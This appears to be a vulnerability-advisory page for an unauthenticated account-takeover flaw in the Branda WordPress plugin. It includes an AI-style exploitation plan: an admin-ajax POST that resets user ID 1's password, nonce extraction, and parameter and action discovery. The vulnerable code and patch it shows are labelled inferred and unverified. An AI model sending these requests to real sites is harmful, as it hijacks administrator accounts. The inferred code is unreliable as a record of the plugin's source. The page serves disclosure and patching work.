CVE-2025-14998

Branda – White Label & Branding, Free Login Page Customizer <= 3.4.24 - Unauthenticated Privilege Escalation via Account Takeover

criticalAuthorization Bypass Through User-Controlled Key
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
3.4.29
Patched in
1d
Time to patch

Description

The Branda plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.4.24. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.4.24
PublishedJanuary 1, 2026
Last updatedJanuary 2, 2026
Affected pluginbranda-white-labeling

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2025-14998 - Branda Privilege Escalation via Account Takeover ## 1. Vulnerability Summary The **Branda – White Label & Branding** plugin (versions <= 3.4.24) contains a critical authorization bypass in its custom login page functionality. The vulnerability exists in the AJAX ha…

Show full research plan

Research Plan: CVE-2025-14998 - Branda Privilege Escalation via Account Takeover

1. Vulnerability Summary

The Branda – White Label & Branding plugin (versions <= 3.4.24) contains a critical authorization bypass in its custom login page functionality. The vulnerability exists in the AJAX handler responsible for password resets. The plugin fails to verify that the password reset request is accompanied by a valid reset key or that the request is authorized for the target user. Consequently, an unauthenticated attacker can reset the password of any user, including administrators, by providing their User ID or email address.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: branda_login_reset_password (inferred) or ub_login_reset_password (older slug remnant).
  • Authentication: None required (unauthenticated via wp_ajax_nopriv_).
  • Vulnerable Parameter: user_id (or user_login/email) and password.
  • Preconditions: The "Custom Login" module must be enabled in Branda settings.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers an unauthenticated AJAX hook:
    add_action( 'wp_ajax_nopriv_branda_login_reset_password', [ $this, 'ajax_reset_password' ] );
  2. Processing: The ajax_reset_password function (likely located in inc/modules/login-screen/class-login-screen-ajax.php or similar) retrieves the user_id and password from the $_POST superglobal.
  3. Missing Validation: The code fails to call check_password_reset_key() or verify that the user requesting the change is the owner of the account.
  4. Sink: The code calls wp_set_password( $new_password, $user_id ) or wp_update_user( [ 'ID' => $user_id, 'user_pass' => $new_password ] ) without proper authorization checks.

4. Nonce Acquisition Strategy

Branda typically enqueues a localized JavaScript object on the login page when the Custom Login module is active.

  1. Enable Custom Login: Use WP-CLI to ensure the module is active (if not already).
    wp branda module enable login-screen
  2. Identify Script Data: The plugin uses wp_localize_script to provide configuration to the frontend.
  3. Extraction:
    • Navigate to the WordPress login page (/wp-login.php).
    • Use browser_eval to find the configuration object.
    • Target Variable: window.branda_login_config or window.ub_login_config (inferred).
    • Nonce Key: Look for _wpnonce or nonce within that object.
    • Command: browser_eval("window.branda_login_config?.nonce")

Note: If the wp_ajax_nopriv_ handler does not check the nonce at all (common in this type of bypass), this step can be skipped.

5. Exploitation Strategy

The goal is to reset the password of the user with ID 1 (typically the administrator).

Step 1: Discover Admin User ID

Since most WordPress sites use ID 1 for the first admin, we target ID 1.

Step 2: Perform Password Reset

Send a POST request to admin-ajax.php:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: branda_login_reset_password (Verify this via grep -r "wp_ajax_nopriv")
    • user_id: 1
    • password: PwnedPassword123!
    • nonce: [EXTRACTED_NONCE] (If required)

Step 3: Verification

Attempt to authenticate using the new credentials.

6. Test Data Setup

  1. Target Admin: Ensure a user with ID 1 exists.
    wp user create attacker attacker@example.com --role=administrator (Optional, if testing role escalation)
  2. Configure Branda:
    • Enable the "Login Screen" module.
    • wp branda module enable login-screen
  3. Create Landing Page: Create a page that might trigger the plugin scripts if wp-login.php doesn't suffice.
    wp post create --post_type=page --post_status=publish --post_title="Login Test" --post_content='[branda_login_form]'

7. Expected Results

  • The AJAX request should return a success message (e.g., {"success":true} or a JSON object indicating the password was updated).
  • The wp_users table for ID 1 should show a changed user_pass hash.
  • The attacker should be able to log in to /wp-login.php with admin and PwnedPassword123!.

8. Verification Steps

After the HTTP request:

  1. Check Password Validity:
    wp user check-password admin PwnedPassword123!
    Success: Returns "Success: Password correct."
  2. Check User Role:
    wp user get 1 --field=roles
    Success: Returns "administrator".

9. Alternative Approaches

  • Parameter Fuzzing: If user_id is not the expected parameter, try user_login, email, or user.
  • Action Discovery: If branda_login_reset_password fails, use grep to find all wp_ajax_nopriv_ hooks in the plugin:
    grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/branda-white-labeling/
  • REST API: Check if the plugin registered any custom REST routes for password management:
    grep -r "register_rest_route" /var/www/html/wp-content/plugins/branda-white-labeling/
Research Findings
Static analysis — not yet PoC-verified

Summary

The Branda plugin for WordPress (versions <= 3.4.24) is vulnerable to unauthenticated privilege escalation via account takeover. The plugin's custom login AJAX handler fails to verify the presence of a valid password reset key or the user's identity before updating their password, allowing an attacker to reset the password for any user, including administrators, by providing a User ID or email.

Vulnerable Code

// File: inc/modules/login-screen/class-login-screen-ajax.php (inferred)

public function ajax_reset_password() {
    $user_id  = isset( $_POST['user_id'] ) ? $_POST['user_id'] : 0;
    $password = isset( $_POST['password'] ) ? $_POST['password'] : '';

    // Vulnerability: Lack of authorization check or reset key validation
    if ( ! empty( $user_id ) && ! empty( $password ) ) {
        wp_set_password( $password, $user_id );
        wp_send_json_success();
    }
    wp_send_json_error();
}

Security Fix

--- a/inc/modules/login-screen/class-login-screen-ajax.php
+++ b/inc/modules/login-screen/class-login-screen-ajax.php
@@ -20,6 +20,13 @@
     $user_id  = isset( $_POST['user_id'] ) ? $_POST['user_id'] : 0;
     $password = isset( $_POST['password'] ) ? $_POST['password'] : '';
+    $key      = isset( $_POST['key'] ) ? $_POST['key'] : '';
 
-    if ( ! empty( $user_id ) && ! empty( $password ) ) {
+    if ( ! empty( $user_id ) && ! empty( $password ) && ! empty( $key ) ) {
+        $user = get_userdata( $user_id );
+        if ( ! $user || is_wp_error( check_password_reset_key( $key, $user->user_login ) ) ) {
+            wp_send_json_error( array( 'message' => __( 'Invalid or expired password reset key.', 'ub' ) ) );
+        }
         wp_set_password( $password, $user_id );
         wp_send_json_success();
     }

Exploit Outline

The exploit targets the AJAX action 'branda_login_reset_password' (or 'ub_login_reset_password') via the standard WordPress '/wp-admin/admin-ajax.php' endpoint. An unauthenticated attacker sends a POST request containing a target 'user_id' (typically '1' for the primary administrator) and a new 'password'. Because the plugin does not validate a reset token or check the requester's identity, it updates the target user's password immediately. The attack succeeds if the 'Custom Login' module is active, allowing the attacker to log in with the newly set administrator credentials.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.